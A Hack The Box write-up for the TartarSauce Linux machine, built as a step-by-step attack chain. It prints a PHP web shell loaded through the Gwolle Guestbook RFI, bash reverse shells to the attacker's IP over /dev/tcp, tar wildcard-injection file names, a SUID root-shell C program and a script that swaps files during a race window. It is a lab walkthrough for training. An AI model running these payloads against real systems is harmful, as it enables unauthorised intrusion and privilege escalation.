Skip to main content

TartarSauce (HTB)

Platform: Hack The Box
OS: Linux
Difficulty: Medium
Result: root


Attack Chain​

Reconnaissance
├── nmap -p- --min-rate=5000 -T4 → 80 (Apache 2.4.18 Ubuntu)
├── robots.txt: /webservices/{tar,monstra-3.0.4,easy-file-uploader,developmental,phpmyadmin}
└── /etc/hosts: 10.129.1.185 tartarsauce.htb

Foothold (WordPress gwolle-gb RFI)
├── gobuster /webservices/ → /wp (301)
├── wpscan → WordPress 4.9.4, gwolle-gb v2.3.10 (fake readme.txt)
├── searchsploit gwolle → Gwolle Guestbook 1.5.3 RFI (CVE-2015-8351)
├── abspath=http://10.10.14.177/shell.php?
└── shell as www-data

Lateral Movement (tar wildcard injection)
├── sudo -l → (onuma) NOPASSWD: /bin/tar
├── touch -- '--checkpoint=1'
├── touch -- '--checkpoint-action=exec=sh shell.sh'
└── sudo -u onuma /bin/tar cf archive.tar * → shell as onuma

Privilege Escalation (backuperer race condition + SUID)
├── systemctl list-timers → backuperer.timer (every 5 minutes)
├── cat /usr/sbin/backuperer → tmpfile in /var/tmp, sleep 30, tar -zxvf as root
├── gcc -m32 -static -o setuid setuid.c → chmod 4755
├── tar -zcvf setuid.tar.gz --owner=root --group=root var/
├── wget setuid.tar.gz → /var/tmp/
├── Overwrite tmpfile within the 30-second window
└── /var/tmp/check/var/www/html/setuid → root

NOTE

All flags, passwords, hashes, and session tokens have been masked for ethical reasons.


Machine Briefing​

Apache 2.4.18, WordPress with the vulnerable gwolle-gb 1.5.3 plugin, a root timer backuperer.timer, and a race condition in the backup script.


Reconnaissance​

nmap -p- --min-rate=5000 -T4 -oG - tartarsauce.htb | grep open
PortServiceVersion
80HTTPApache httpd 2.4.18
| http-robots.txt: 5 disallowed entries
| /webservices/tar/tar/source/
| /webservices/monstra-3.0.4/
| /webservices/easy-file-uploader/
| /webservices/developmental/
| /webservices/phpmyadmin/
echo "10.129.1.185 tartarsauce.htb" | sudo tee -a /etc/hosts

Foothold​

gobuster dir -u http://tartarsauce.htb/webservices/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
# /wp (301)

wpscan --url http://tartarsauce.htb/webservices/wp --enumerate p
# WordPress 4.9.4
# gwolle-gb - v2.3.10 (fake readme.txt)

searchsploit gwolle
# WordPress Plugin Gwolle Guestbook 1.5.3 - Remote File Inclusion

RFI (CVE-2015-8351)​

mkdir -p /tmp/rfi
echo '<?php system($_GET["cmd"]); ?>' > /tmp/rfi/shell.php
cd /tmp/rfi && sudo python3 -m http.server 80

nc -lvnp 4444

curl -s -G "http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php" \
--data-urlencode "abspath=http://10.10.14.177/shell.php?" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.177/4444 0>&1'"

The abspath parameter is passed to include() without validation. Shell as www-data.

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).


Lateral Movement (www-data → onuma)​

sudo -l
# User www-data may run the following commands on TartarSauce:
# (onuma) NOPASSWD: /bin/tar
cd /dev/shm/tar
cat > shell.sh << 'EOF'
bash -c 'bash -i >& /dev/tcp/10.10.14.177/5555 0>&1'
EOF
chmod +x shell.sh

touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

nc -lvnp 5555
sudo -u onuma /bin/tar cf archive.tar *

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

Shell as onuma.


Privilege Escalation​

systemctl list-timers --all | grep -i backup
# backuperer.timer - every 5 minutes

cat /usr/sbin/backuperer
basedir=/var/www/html
tmpdir=/var/tmp
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom | sha1sum | cut -d' ' -f1)
check=$tmpdir/check

/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &
/bin/sleep 30

/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]; then
exit 2
else
/bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
/bin/rm -rf $check .*
exit 0
fi

The key: a 30-second window between archive creation and verification.

// setuid.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(void){
setuid(0);
setgid(0);
system("/bin/sh");
}
gcc -m32 -static -o setuid setuid.c
chmod 4755 setuid
rm setuid.c

rm -rf var
mkdir -p var/www/html
cp setuid var/www/html/
chmod 4755 var/www/html/setuid

tar -zcvf setuid.tar.gz --owner=root --group=root var
tar -ztvf setuid.tar.gz
cd ~/Desktop && python3 -m http.server 8000

# on target (as onuma)
rm -f /var/tmp/setuid.tar.gz
wget http://10.10.14.177:8000/setuid.tar.gz -O /var/tmp/setuid.tar.gz

Overwrite the file within the window:

f=$(ls -la /var/tmp/ | grep "^-" | awk '{print $NF}' | grep "^\." | head -1)
echo "File: /var/tmp/$f"
rm -f "/var/tmp/$f"
cp /var/tmp/setuid.tar.gz "/var/tmp/$f"
ls -la "/var/tmp/$f"

sleep 35
ls -la /var/tmp/check/var/www/html/
# -rwsr-xr-x 1 root root 740204 ... setuid
/var/tmp/check/var/www/html/setuid
whoami
# root
cat /root/root.txt
# <ROOT_FLAG>

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).


Flags​

FlagValue
User<USER_FLAG>
Root<ROOT_FLAG>

Key Takeaways​

  • Faking the plugin version - administrators edit readme.txt to fool scanners.
  • RFI via unvalidated include - abspath in Gwolle Guestbook 1.5.3.
  • Tar wildcard injection - files like --checkpoint-action=... become options.
  • Race condition in backup scripts - predictable sleep 30 window.
  • Static compilation - critical for cross-version GLIBC incompatibility.
  • --owner=root --group=root in tar - preserves SUID when extracted as root.